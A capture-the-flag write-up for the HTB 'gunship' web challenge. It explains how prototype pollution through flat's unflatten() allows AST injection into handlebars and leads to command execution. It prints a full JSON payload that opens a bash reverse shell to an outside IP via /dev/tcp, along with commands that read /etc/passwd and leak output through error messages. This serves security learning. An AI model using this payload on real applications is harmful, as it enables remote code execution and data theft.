

HTB x Uni CTF 2020 Qualifiers


Solver: Dayton Hasty (dayt0n)

Challenge: gunship

Category: web

I always like a good web challenge, and I actually learned a lot from this one.

Before downloading the source code for the challenge, I started the docker instance and visited the site to be presented a page with a single box for input:



I tried typing a couple things in the box, such as "test" and a couple cross-site scripting payloads just to see if that was going to lead anywhere.

Then I noticed that the title of the website was 'AST Injection'... Thanks HTB!

I had to read up on this type of injection because in all honesty I had never heard of it before.

We eventually stumbled on this blog which explained the attack in a bit more detail:

<https://blog.p6.is/AST-Injection/>

After this I went back to the website and decided to try giving the website what it wanted, one of the artist names for Gunship. I settled on 'Alex Westaway'.

I didn't see much of an effect other than the message at the bottom of the page seemed to be happy.

So, I fired up BurpSuite to see what was actually going on. When I hit 'Send' on the website with 'Alex Westaway' as input, I saw this go across the wire:

```
POST /api/submit HTTP/1.1
Host: docker.hackthebox.eu:32401
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://docker.hackthebox.eu:32401/
Content-Type: application/json
Origin: http://docker.hackthebox.eu:32401
Content-Length: 31
Connection: close

{
  "artist.name": "Alex Westaway"
}
```

Cool, this was starting to look like some of the examples in the blog post I saw earlier.

At this point, I had just remembered that there was source code to go along with this problem...

So I quickly loaded it up in Visual Studio Code to take a look. I then located the code that executes when data is submitted to `/api/submit`:

```
const path      = require('path');
const express   = require('express');
const handlebars = require('handlebars');
const { unflatten } = require('flat');
const router    = express.Router();

router.get('/', (req, res) => {
  return res.sendFile(path.resolve('views/index.html'));
});

router.post('/api/submit', (req, res) => {
  // unflatten seems outdated and a bit vulnerable to prototype pollution
  // we sure hope so that po6ix doesn't pwn our puny app with his AST injection on template engines

  const { artist } = unflatten(req.body);

  if (artist.name.includes('Haigh') || artist.name.includes('Westaway') || artist.name.includes('Gingell')) {
    return res.json({
      'response': handlebars.compile('Hello {{ user }}, thank you for letting us know!')({ user: 'guest' })
    });
  } else {
    return res.json({
      'response': 'Please provide us with the full name of an existing member.'
    });
  }
});

module.exports = router;
```


The first thing that looked off to be was the call to `unflatten(req.body)`. I remembered reading about this call in the aforementioned blog post and also realized this used the `handlebars` module, just like the example with `unflatten()` in the blog post. This lead me down a deep rabbit hole filled with prototype pollution but I eventually got back on track.

I then did what should always be done for any random proof of concept found on the internet: I pasted it line for line into BurpSuite right before the `artist.name` key/value pair to see what would happen:

```
{
  "__proto__.type": "Program",
  "__proto__.body": [
    {
      "type": "MustacheStatement",
      "path": 0,
      "params": [
        {
          "type": "NumberLiteral",
          "value": "process.mainModule.require('child_process').execSync('bash -c 'bash -i >& /dev/tcp/10.10.10.10 3333 0>&1')'"
        }
      ],
      "loc": {
        "start": 0,
        "end": 0
      }
    }
  ],
  "loc": {
    "start": 0,
    "end": 0
  }
},
1,
```

Even after using a public IP and setting up a netcat listener there I was not getting anything. This made me think that the service might not be allowed to have outgoing connections (besides HTTP) and would only allow traffic in over HTTP.


To make sure this was the case and not just that I was unable to execute commands, I ran `wget` with no parameters to see if I could get anything back and it was a complete success:



Okay, so I was getting some response back. But when I executed commands such as `ls` or `cat /etc/passwd`, I got nothing. I was starting to suspect that maybe I only get output back if the command fails. This seemed to be the case. I also knew from the source code that the flag file was being renamed with a random value appended to the end of it, as shown in the `entrypoint.sh` file:

```
# Generate random flag filename
FLAG=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 5 | head -n 1)
mv /app/flag /app/flag$FLAG
```

Well, I knew my commands were working, I just wasn't getting much output from them. So, I decided I would move the flag somewhere else where I knew the name, so I moved it to /tmp using the command: `cat /app/flag* > /tmp/flag`:




I got no output from this, but to make sure that it had worked, I attempted to `cat /tmp/flag` and nothing was printed out. If the file /tmp/flag did not exist at this point, I would have seen cat throw a warning about the file not existing in the response.

The hard part of this was actually reading the flag. I simply could not figure out how I should go about it. I tried redirection stderr to stdout, which did nothing. I also tried forcing stdout to print out by passing the option `{stdio: 'inherit'}` to `execSync()` but that did not work either.

After a while of trying some other weird specifications and redirections I tried wrapping a command in `$(...)` and then running it. The initial run of this was: `$(cat /etc/passwd)` and the response was: `[first_line_of_etc_passwd]: not found`.



So I tried passing in `$(cat /tmp/flag)` and got:



Flag: HTB{wh3n\_lif3\_g1v3s\_y0u\_p6\_st4rt\_p0llut1ng\_w1th\_styl3}